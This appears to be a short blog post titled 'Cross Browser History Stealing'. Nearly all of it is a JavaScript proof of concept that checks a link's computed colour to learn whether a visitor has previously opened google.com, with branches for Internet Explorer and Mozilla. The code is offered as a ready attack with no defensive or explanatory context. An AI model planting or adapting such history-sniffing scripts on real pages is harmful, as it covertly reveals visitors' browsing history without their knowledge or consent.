Cross Browser History Stealing

<script>

function x0(el,c)
{
var x = document.getElementById(el);
if (x.currentStyle) {
var y = x.currentStyle[c];
}
else if (window.getComputedStyle) {
var y = document.defaultView.getComputedStyle(x,null).getPropertyValue(c);
}
if(y=='#800080') {
document.write(' --- + visited in MSIE');
}
if (y=="rgb(128, 0, 128)") {
document.write(' --- + visited in Mozilla');
}
}
</script>

<a href="http://www.google.com/" id="H1">google.com</a><script>x0("H1","color");</script><br>
더보기

댓글,